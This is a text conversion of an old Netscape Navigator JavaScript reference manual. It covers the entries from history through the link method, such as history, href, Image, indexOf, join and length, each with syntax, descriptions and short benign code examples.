file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (6 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

1. history[index] 2. history.length index is an integer representing an entry in the history list. To obtain the number of entries in the history list, use the length property: history.length. Elements in the history array are read-only. For example, the statement history[0]="http://home.netscape.com" has no effect. If you access the history array without specifying an array element, Navigator returns a string of HTML which displays a table of URLs, each of which is a hyperlink.

Properties
The history object has the following properties:

Property Description current length next Specifies the URL of the current history entry Reflects the number of entries in the history list Specifies the URL of the next history entry

previous Specifies the URL of the previous history entry The history array has the following properties:

Property Description length Reflects the number of history entries in the window

Methods
The History object has the following methods:

q q q

back eval forward

q q q

go toString valueOf

Event handlers
None.

Examples
Example 1. The following example goes to the URL the user visited three clicks ago in the current window. history.go(-3)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (7 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Example 2. You can use the history object with a specific window or frame. The following example causes window2 to go back one item in its window (or session) history: window2.history.back() Example 3. The following example causes the second frame in a frameset to go back one item: parent.frames[1].history.back() Example 4. The following example causes the frame named frame1 in a frameset to go back one item: parent.frame1.history.back() Example 5. The following example causes the frame named frame2 in window2 to go back one item: window2.frame2.history.back() Example 6. The following code determines whether the first entry in the history array contains the string "NETSCAPE". If it does, the function myFunction is called. if (history[0].indexOf("NETSCAPE") != -1) { myFunction(history[0]) } Example 7. The following example displays the entire history list: document.writeln("<B>history is</B> " + history) This code displays output similar to the following: history is Welcome to Netscape Sun Microsystems SlugVideo at the Dream Inn Bad Dog Chronicles http://home.netscape.com/ http://www.sun.com/ http://sapphire.cse.ucsc.edu/SlugVideo/dream-inn.html http://www.supernet.net/~dugbrown/

See also
location object, replace method

host
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (8 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Property. A string specifying the server name, subdomain, and domain name.

Syntax
1. links[index].host 2. location.host 3. areaName.host

Parameters
index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

Property of
Area object (see Link object), Link object, location object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
Yes

Description
The host property specifies a portion of a URL. The host property is a substring of the hostname property. The hostname property is the concatenation of the host and port properties, separated by a colon. When the port property is null, the host property is the same as the hostname property. You can set the host property at any time, although it is safer to set the href property to change a location. If the host that you specify cannot be found in the current location, you will get an error. In event handlers, you must specify window.location.host instead of simply using location.host. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL. See Section 3.1 of RFC 1738 for complete information about the hostname and port.

Examples
See the examples for the href property.

See also
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (9 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

hash, hostname, href, pathname, port, protocol, search properties

hostname
Property. A string containing the full hostname of the server, including the server name, subdomain, domain, and port number.

Syntax
1. links[index].hostname 2. location.hostname 3. areaName.hostname

Parameters
index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

Property of
Area object (see Link object), Link object, location object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
Yes

Description
The hostname property specifies a portion of a URL. The hostname property is the concatenation of the host and port properties, separated by a colon. When the port property is 80 (the default), the host property is the same as the hostname property. You can set the hostname property at any time, although it is safer to set the href property to change a location. If the hostname that you specify cannot be found in the current location, you will get an error. In event handlers, you must specify window.location.hostname instead of simply using location.hostname. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (10 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

See Section 3.1 of RFC 1738 for complete information about the hostname.

Examples
See the examples for the href property.

See also
hash, host, href, pathname, port, protocol, search properties

href
Property. A string specifying the entire URL.

Syntax
1. links[index].href 2. location.href 3. areaName.href

Parameters
index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

Property of
Area object (see Link object), Link object, location object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
Yes

Description
The href property specifies the entire URL. Other location object properties are substrings of the href property.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (11 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

You can set the href property at any time. Omitting a property name from the location object is equivalent to specifying location.href. For example, the following two statements are equivalent and set the URL of the current window to the Netscape home page: window.location.href="http://home.netscape.com/" window.location="http://home.netscape.com/" In event handlers, you must specify window.location.href instead of simply using location.href. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL. See RFC 1738 for complete information about the URL.

Examples
In the following example, the window.open statement creates a window called newWindow and loads the specified URL into it. The document.write statements display all the properties of newWindow.location in a window called msgWindow. newWindow=window.open ("http://home.netscape.com/comprod/products/navigator/ version_2.0/script/script_info/objects.html#checkbox_object") msgWindow.document.write("newWindow.location.href = " + newWindow.location.href + "<P>") msgWindow.document.write("newWindow.location.protocol = " + newWindow.location.protocol + "<P>") msgWindow.document.write("newWindow.location.host = " + newWindow.location.host + "<P>") msgWindow.document.write("newWindow.location.hostName = " + newWindow.location.hostName + "<P>") msgWindow.document.write("newWindow.location.port = " + newWindow.location.port + "<P>") msgWindow.document.write("newWindow.location.pathname = " + newWindow.location.pathname + "<P>") msgWindow.document.write("newWindow.location.hash = " + newWindow.location.hash + "<P>") msgWindow.document.write("newWindow.location.search = " + newWindow.location.search + "<P>") msgWindow.document.close() The previous example displays output such as the following: newWindow.location.href = http://home.netscape.com/comprod/products/navigator/ version_2.0/script/script_info/objects.html#checkbox_object newWindow.location.protocol = http: newWindow.location.host = home.netscape.com newWindow.location.hostName = home.netscape.com newWindow.location.port =

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (12 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

newWindow.location.pathname = /comprod/products/navigator/version_2.0/script/ script_info/objects.html newWindow.location.hash = #checkbox_object newWindow.location.search =

See also
hash, host, hostname, pathname, port, protocol, search properties

hspace
Property. A string specifying a margin in pixels between the left and right edges of an image and the surrounding text.

Syntax
imageName.hspace

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Tainted?
No

Description
The hspace property reflects the HSPACE attribute of the <IMG> tag. For images created with the Image() constructor, the value of the hspace property is 0. hspace is a read-only property.

Examples
See the examples for the height property.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (13 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

See also
border, height, vspace, width properties

Image
Object. An image on an HTML form.

HTML syntax
To define an image, use standard HTML syntax with the addition of JavaScript event handlers: <IMG [NAME="imageName"] SRC="Location" [LOWSRC="Location"] [HEIGHT="Pixels"|"Value"%] [WIDTH="Pixels"|"Value"%] [HSPACE="Pixels"] [VSPACE="Pixels"] [BORDER="Pixels"] [ALIGN="left"|"right"| "top"|"absmiddle"|"absbottom"| "texttop"|"middle"|"baseline"|"bottom"] [ISMAP] [USEMAP="#MapName"] [onAbort="handlerText"] [onError="handlerText"] [onLoad="handlerText"]>

HTML attributes
NAME="imageName" specifies the name of the Image object. You can access this value using the name property, and you can use this name when indexing the images array. SRC="Location" specifies the URL of the image to be displayed in the document. You can access this value using the src property. LOWSRC="Location" specifies the URL of a low-resolution version of the image to be displayed in the document. Navigator loads this smaller image and then replaces it with the larger image specified by SRC. You can access this value using the lowsrc property. HEIGHT="Pixels"|"Value"% specifies the height of the image either in pixels or as a percentage of the window height. If necessary, Navigator scales the image to fit the space specified by this attribute. You can access this value using the height property.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (14 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

WIDTH="Pixels"|"Value"% specifies the width of the image either in pixels or as a percentage of the window width. If necessary, Navigator scales the image to fit the space specified by this attribute. You can access this value using the width property. HSPACE="Pixels" specifies a margin in pixels between the left and right edges of the image and the surrounding text. This attribute applies only to images that use "left" or "right" as the value of the ALIGN attribute. You can access this value using the hspace property. VSPACE="Pixels" specifies a margin in pixels between the top and bottom edges of the image and the surrounding text. This attribute applies only to images that use "left" or "right" as the value of the ALIGN attribute. You can access this value using the vspace property. BORDER="Pixels" specifies the width, in pixels, of an image border. You can suppress the border by setting its value to 0; however, if you suppress the border of an image that appears within an anchor, users will not see a colored border indicating that the image is a hyperlink. You can access this value using the border property. ALIGN specifies the alignment of the image in relation to the surrounding text. Images that are aligned as "left" or "right" float into the next available space on the left or right side of the page, and cause text to wrap around them. Other ALIGN values place the image in a line of text and do not cause the text to wrap. If omitted, "bottom" is used. ISMAP specifies the image as a server-side image map. USEMAP="#MapName" specifies the image as a client-side image map. This attribute specifies the # symbol followed by the name of the map. For example, USEMAP="#areamap".

Syntax
To create an Image object: imageName = new Image([width, height]) To use an Image object's properties: 1. imageName.propertyName 2. document.images[index].propertyName 3. formName.elements[index].propertyName To define an event handler for an Image object created with the Image() constructor: 1. imageName.onabort = handlerFunction 2. imageName.onerror = handlerFunction 3. imageName.onload = handlerFunction

Parameters
imageName is either the name of a new object or a property of an existing object. When using an Image object's properties, imageName is the value of the NAME attribute of an Image object or the imageName specified with the Image() constructor. width is the image width, in pixels.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (15 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

height is the image height, in pixels. formName is either the value of the NAME attribute of a Form object or an element in the forms array. index, when used with the images array is an integer representing an Image object or the name of an Image object as specified by the NAME attribute. index, when used with the elements array, is an integer representing an Image object on a form. propertyName is one of the properties listed below. handlerFunction is the keyword null, the name of a function, or a variable or property that contains null or a valid function reference.

Property of
document

Implemented in
Navigator 3.0

Description
The position and size of an image in a document are set when the document is displayed in Navigator and cannot be changed using JavaScript (the width and height properties are read-only). You can change which image is displayed by setting the src and lowsrc properties. (See the descriptions of src and lowsrc.) You can use JavaScript to create an animation with an Image object by repeatedly setting the src property, as shown in Example 4 below. JavaScript animation is slower than GIF animation, because with GIF animation the entire animation is in one file; with JavaScript animation, each frame is in a separate file, and each file must be loaded across the network (host contacted and data transferred). Image objects do not have onClick, onMouseOut, and onMouseOver event handlers. However, if you define an Area object for the image or place the <IMG> tag within a Link object, you can use the Area or Link object's event handlers. See the Link object. The Image() constructor The primary use for an Image object created with the Image() constructor is to load an image from the network (and decode it) before it is actually needed for display. Then when you need to display the image within an existing image cell, you can set the src property of the displayed image to the same value as that used for the prefetched image, as follows. myImage = new Image() myImage.src = "seaotter.gif" ... document.images[0].src = myImage.src The resulting image will be obtained from cache, rather than loaded over the network, assuming that sufficient time has elapsed to load and decode the entire image. You can use this technique to create smooth animations, or you could display one
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (16 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

of several images based on form input. The images array You can reference the images in a document by using the images array. This array contains an entry for each Image object (<IMG> tag) in a document in source order (images created with the Image() constructor are not included in the images array). For example, if a document contains three images, these images are reflected as document.images[0], document.images[1], and document.images[2]. To use the images array: 1. document.images[index] 2. document.images.length index is an integer representing an image in a document or the name of an Image object as specified by the NAME attribute. To obtain the number of images in a document, use the length property: document.images.length. Elements in the images array are read-only. For example, the statement document.images[0]="logo.gif" has no effect.

Properties
The Image object has the following properties:

Property Description border Reflects the BORDER attribute

complete Boolean value indicating whether Navigator has completed its attempt to load the image height hspace lowsrc name Reflects the HEIGHT attribute Reflects the HSPACE attribute Reflects the LOWSRC attribute Reflects the NAME attribute

prototype Lets you add a properties to an Image object. src vspace width Reflects the SRC attribute Reflects the VSPACE attribute Reflects the WIDTH attribute Note The border, hspace, name, and vspace properties are not meaningful for images created with the Image() constructor. The images array has the following properties:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (17 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Property Description length Reflects the number of images in a document

Methods
q q q

eval toString valueOf

Event handlers
q q q

onAbort onError onLoad

Examples
Example 1: Create an image with the <IMG> tag. The following code defines an image using the <IMB> tag: <IMG NAME="aircraft" SRC="f15e.gif" ALIGN="left" VSPACE="10"> The following code refers to the image: document.aircraft.src='f15e.gif' When you refer to an image by its name, you must include the form name if the image is on a form. The following code refers to the image if it is on a form: document.myForm.aircraft.src='f15e.gif' Example 2: Create an image with the Image() constructor. The following example creates an Image object, myImage, that is 70 pixels wide and 50 pixels high. If the source URL, seaotter.gif, does not have dimensions of 70x50 pixels, it is scaled to that size. myImage = new Image(70, 50) myImage.src = "seaotter.gif" If you omit the width and height arguments from the Image() constructor, myImage is created with dimensions equal to that of the image named in the source URL. myImage = new Image() myImage.src = "seaotter.gif" Example 3: Display an image based on form input. In the following example, the user selects which image is displayed. The user orders a shirt by filling out a form. The image displayed depends on the shirt color and size that the user chooses. All possible image choices are pre-loaded to speed response time. When the user clicks the button to order the shirt, the allShirts function displays the images of all the shirts.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (18 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

<SCRIPT> shirts = new Array() shirts[0] = "R-S" shirts[1] = "R-M" shirts[2] = "R-L" shirts[3] = "W-S" shirts[4] = "W-M" shirts[5] = "W-L" shirts[6] = "B-S" shirts[7] = "B-M" shirts[8] = "B-L" doneThis = 0 shirtImg = new Array() // Preload shirt images for(idx=0; idx < 9; idx++) { shirtImg[idx] = new Image() shirtImg[idx].src = "shirt-" + shirts[idx] + ".gif" } function changeShirt(form) { shirtColor = form.color.options[form.color.selectedIndex].text shirtSize = form.size.options[form.size.selectedIndex].text newSrc = "shirt-" + shirtColor.charAt(0) + "-" + shirtSize.charAt(0) + ".gif" document.shirt.src = newSrc } function allShirts() { document.shirt.src = shirtImg[doneThis].src doneThis++ if(doneThis != 9)setTimeout("allShirts()", 500) else doneThis = 0 return } </SCRIPT> <FONT SIZE=+2><B>Netscape Polo Shirts!</FONT></B> <TABLE CELLSPACING=20 BORDER=0> <TR> <TD><IMG name="shirt" SRC="shirt-W-L.gif"></TD> <TD> <FORM> <B>Color</B> <SELECT SIZE=3 NAME="color" onChange="changeShirt(this.form)"> <OPTION> Red <OPTION SELECTED> White <OPTION> Blue </SELECT> <P> <B>Size</B> <SELECT SIZE=3 NAME="size" onChange="changeShirt(this.form)"> <OPTION> Small <OPTION> Medium <OPTION SELECTED> Large
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (19 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

</SELECT> <P><INPUT type="button" name="buy" value="Buy This Shirt!" onClick="allShirts()"> </FORM> </TD> </TR> </TABLE> Example 4: JavaScript animation. The following example uses JavaScript to create an animation with an Image object by repeatedly changing the value the src property. The script begins by preloading the 10 images that make up the animation (image1.gif, image2.gif, image3.gif, and so on). When the Image object is placed on the document with the <IMG> tag, image1.gif is displayed and the onLoad event handler starts the animation by calling the animate function. Notice that the animate function does not call itself after changing the src property of the Image object. This is because when the src property changes, the image's onLoad event handler is triggered and the animate function is called. <SCRIPT> delay = 100 imageNum = 1 // Preload animation images theImages = new Array() for(i = 1; i < 11; i++) { theImages[i] = new Image() theImages[i].src = "image" + i + ".gif" } function animate() { document.animation.src = theImages[imageNum].src imageNum++ if(imageNum > 10) { imageNum = 1 } } function slower() { delay+=10 if(delay > 4000) delay = 4000 } function faster() { delay-=10 if(delay < 0) delay = 0 } </SCRIPT> <BODY BGCOLOR="white"> <IMG NAME="animation" SRC="image1.gif" ALT="[Animation]" onLoad="setTimeout('animate()', delay)"> <FORM> <INPUT TYPE="button" Value="Slower" onClick="slower()"> <INPUT TYPE="button" Value="Faster" onClick="faster()"> </FORM> </BODY> See also the examples for the onAbort, onError, and onLoad event handlers.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (20 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

See also
Link object; onClick, onMouseOut, onMouseOver event handlers

images
Property. An array reflecting all the images in a document in source order. See the Image object for information.

index
Property. An integer representing the index of an option in a Select object.

Syntax
1. selectName.options[indexValue].index 2. optionName.index

Parameters
selectName is either the value of the NAME attribute of a Select object or an element in the elements array. indexValue is an integer representing an option in a Select object. optionName is the name of a Select object option created using the Option() constructor.

Property of
Option object (see the Select object), options array (see the Select object)

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Option

Tainted?
No

Description
The number identifying the position of the option in the selection, starting from zero.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (21 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

See also
defaultSelected, selected, selectedIndex properties

indexOf
Method. Returns the index within the calling String object of the first occurrence of the specified value, starting the search at fromIndex.

Syntax
stringName.indexOf(searchValue, [fromIndex])

Parameters
stringName is any string or a property of an existing object. searchValue is a string or a property of an existing object, representing the value to search for. fromIndex is the location within the calling string to start the search from. It can be any integer from zero to stringName.length 1 or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Characters in a string are indexed from left to right. The index of the first character is zero, and the index of the last character is stringName.length - 1. If you do not specify a value for fromIndex, JavaScript assumes zero by default. If searchValue is not found, JavaScript returns -1. If stringName contains an empty string (""), indexOf returns an empty string. The indexOf method is case sensitive. For example, the following expression returns -1: "Blue Whale".indexOf("blue")

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (22 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Examples
Example 1. The following example uses indexOf and lastIndexOf to locate values in the string "Brave new world." var anyString="Brave new world" //Displays 8 document.write("<P>The index of the first w from the beginning is " + anyString.indexOf("w")) //Displays 10 document.write("<P>The index of the first w from the end is " + anyString.lastIndexOf("w")) //Displays 6 document.write("<P>The index of 'new' from the beginning is " + anyString.indexOf("new")) //Displays 6 document.write("<P>The index of 'new' from the end is " + anyString.lastIndexOf("new")) Example 2. The following example defines two string variables. The variables contain the same string except that the second string contains uppercase letters. The first writeln method displays 19. But because the indexOf method is case sensitive, the string "cheddar" is not found in myCapString, so the second writeln method displays -1. myString="brie, pepper jack, cheddar" myCapString="Brie, Pepper Jack, Cheddar" document.writeln('myString.indexOf("cheddar") is ' + myString.indexOf("cheddar")) document.writeln('<P>myCapString.indexOf("cheddar") is ' + myCapString.indexOf("cheddar"))

See also
charAt, lastIndexOf, split methods

isNaN
Function. Evaluates an argument to determine if it is "NaN" (not a number).

Syntax
isNaN(testValue)

Parameters
testValue is the value you want to evaluate.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (23 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Implemented in
q q

Navigator 2.0 Navigator 3.0: works on all platforms (in previous releases, worked only on Unix platforms)

Description
isNaN is a built-in JavaScript function. It is not a method associated with any object, but is part of the language itself. On platforms that support NaN, the parseFloat and parseInt functions return "NaN" when they evaluate a value that is not a number. isNaN returns true if passed "NaN," and false otherwise.

Examples
The following example evaluates floatValue to determine if it is a number and then calls a procedure accordingly: floatValue=parseFloat(toFloat) if (isNaN(floatValue)) { notFloat() } else { isFloat() }

See also
NaN property; parseFloat, parseInt functions

italics
Method. Causes a string to be italic, as if it were in an <I> tag.

Syntax
stringName.italics()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (24 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Navigator 2.0

Description
Use the italics method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses string methods to change the formatting of a string: var worldString="Hello, world" document.write(worldString.blink()) document.write("<P>" + worldString.bold()) document.write("<P>" + worldString.italics()) document.write("<P>" + worldString.strike()) The previous example produces the same output as the following HTML: <BLINK>Hello, world</BLINK> <P><B>Hello, world</B> <P><I>Hello, world</I> <P><STRIKE>Hello, world</STRIKE>

See also
blink, bold, strike methods

javaEnabled
Method. Specifies whether Java is enabled.

Syntax
navigator.javaEnabled()

Method of
navigator

Implemented in
Navigator 3.0

Description
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (25 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

javaEnabled returns true if Java is enabled, false otherwise. The user can enable or disable Java by choosing Network Preferences from the Navigator's Options menu.

Examples
The following code executes function1 if Java is enabled; otherwise it executes function2. if (navigator.javaEnabled()) { function1() } else function2()

See also
appCodeName, appName, userAgent properties

join
Method. Joins all elements of an array into a string.

Syntax
arrayName.join(separator)

Parameters
arrayName is the name of an Array object or a property of an existing object. separator specifies a string to separate each element of the array. The separator is converted to a string if necessary. If omitted, the array elements are separated with a comma (,).

Method of
Array

Implemented in
Navigator 3.0

Description
The string conversion of all array elements are joined into one string.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (26 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Examples
The following example creates an array, a with three elements, then joins the array three times: using the default separator, then a comma and a space, and then a plus. a = new Array("Wind","Rain","Fire") document.write(a.join() +"<BR>") document.write(a.join(", ") +"<BR>") document.write(a.join(" + ") +"<BR>") This code produces the following output: Wind,Rain,Fire Wind, Rain, Fire Wind + Rain + Fire

See also
reverse, sort methods

lastIndexOf
Method. Returns the index within the calling String object of the last occurrence of the specified value. The calling string is searched backward, starting at fromIndex.

Syntax
stringName.lastIndexOf(searchValue, [fromIndex])

Parameters
stringName is any string or a property of an existing object. searchValue is a string or a property of an existing object, representing the value to search for. fromIndex is the location within the calling string to start the search from. It can be any integer from zero to stringName.length 1 or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (27 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

Description
Characters in a string are indexed from left to right. The index of the first character is zero, and the index of the last character is stringName.length - 1. If you do not specify a value for fromIndex, JavaScript assumes stringName.length - 1 (the end of the string) by default. If searchValue is not found, JavaScript returns -1. The lastIndexOf method is case sensitive. For example, the following expression returns -1: "Blue Whale, Killer Whale".lastIndexOf("blue")

Examples
The following example uses indexOf and lastIndexOf to locate values in the string "Brave new world." var anyString="Brave new world" //Displays 8 document.write("<P>The index of the first w from the beginning is " + anyString.indexOf("w")) //Displays 10 document.write("<P>The index of the first w from the end is " + anyString.lastIndexOf("w")) //Displays 6 document.write("<P>The index of 'new' from the beginning is " + anyString.indexOf("new")) //Displays 6 document.write("<P>The index of 'new' from the end is " + anyString.lastIndexOf("new"))

See also
charAt, indexOf, split methods

lastModified
Property. A string representing the date that a document was last modified.

Syntax
document.lastModified

Property of

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (28 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

document

Implemented in
Navigator 2.0

Tainted?
Yes

Description
The lastModified property is derived from the HTTP header data sent by the web server. Servers generally obtain this date by examining the file's modification date. The last modified date is not a required portion of the header, and some servers do not supply it. If the server does not return the last modified information, JavaScript receives a zero, which it displays as January 1, 1970 GMT. The following code checks the date returned by lastModified and prints out a value that corresponds to unknown. lastmod = document.lastModified lastmoddate = Date.parse(lastmod) if(lastmoddate == 0){ // get string of last modified date // convert modified string to date // unknown date (or January 1, // 1970 GMT) document.writeln("Lastmodified: Unknown") } else { document.writeln("LastModified: " + lastmod)

} lastModified is a read-only property.

Examples
In the following example, the lastModified property is used in a <SCRIPT> tag at the end of an HTML file to display the modification date of the page: document.write("This page updated on " + document.lastModified)

length
Property. An integer that specifies a length-related feature of the calling object or array.

Syntax
When used with objects:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (29 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

1. 2. 3. 4. 5. 6. 7. 8.

formName.length frameReference.length history.length radioName.length selectName.length stringName.length windowReference.length arrayName.length

When used with array properties: 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. anchors.length applets.length arguments.length elements.length embeds.length forms.length frames.length history.length images.length links.length mimeTypes.length plugins.length plugins[mimeTypeIndex].length selectName.options.length

Parameters
formName is either the name of a form or an element in the forms array. frameReference is either the value of the NAME attribute of a frame or an element in the frames array. radioName is either the value of the NAME attribute of a Radio object or an element in the elements array. selectName is either the value of the NAME attribute of a Select object or an element in the elements array. stringName is any string or a property of an existing object. windowReference is a valid way of referring to a window, as described in the window object. arrayName is the name of an Array object. mimeTypeIndex is either an integer representing a MIME type supported by the plug-in or a string containing the type of a MimeType object (from the type property).

Property of
q q

Array object, Frame object, history object, Radio object, Select object, String object, window object anchors array, arguments array, elements array, forms array, frames array, images array, links array, mimeTypes array,

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (30 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

options array (see Select object), plugins array

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of applets array, Array object, embeds array, history array, images array, mimeTypes array, plugins array

Tainted?
No

Description
The length property is an integer that specifies one of the following:
q q

q q q q q q q q q q

The number of elements on a form (form 1 of the syntax). The number of frames within a frame (form 2 of the syntax). A frame that does not load a document containing a <FRAMESET> tag always has a length of zero. The number of entries in a history object (form 3 of the syntax). The number of radio buttons in a Radio object (form 4 of the syntax). The number of options in a Select object (form 5 of the syntax). The length of a String object (form 6 of the syntax). The number of frames in a parent window (form 7 of the syntax). The number of elements in an array (form 8 of the syntax). The number of MIME types supported by the client (form 19 of the syntax). The number of plug-in modules installed on the client (form 20 of the syntax). The number of elements in a Plugin object's array of MimeType objects (form 21 of the syntax). The number of entries in one of the array properties (all other syntax forms).

For all objects except Array objects, length is always a read-only property. For a null string, length is zero. For a Select object, the values returned by form 5 and form 22 of the syntax are the same. For a window containing frames, the values returned by form 7 and form 15 of the syntax are the same. For a Form object, the values returned by form 1 and form 12 of the syntax are the same. For a frame containing frames, the values returned by form 2 and form 15 of the syntax are the same. For arrays, you can set the length property to truncate an array at any time. You cannot extend an array; for example, if you set length to 3 when it is currently 2, the array will still contain only 2 elements. For information on other ways to change the length of an array, see the Array object.

Examples
In the following example, the getChoice function uses the length property to iterate over every element in the musicType array. musicType is a select element on the musicForm form. function getChoice() { for (var i = 0; i < document.musicForm.musicType.length; i++) { if (document.musicForm.musicType.options[i].selected == true) {
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (31 of 49) [30/08/2003 9:34:22 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

return document.musicForm.musicType.options[i].text } } } The following example displays 8 in an Alert dialog box: var x="Netscape" alert("The string length is " + x.length) The following example shortens the array statesUS to a length of 50 if the current length is greater than 50. if (statesUS.length > 50) { statesUS.length=50 alert("The U.S. has only 50 states. New length is " + statesUS.length) }

link method
Method. Creates an HTML hypertext link that requests another URL.

Syntax
linkText.link(hrefAttribute)

Parameters
linkText is any string or a property of an existing object. This represents the text that will be displayed in the link. hrefAttribute is any string that specifies the HREF attribute of the <A> tag; it should be a valid URL (relative or absolute).

Method of
String

Implemented in
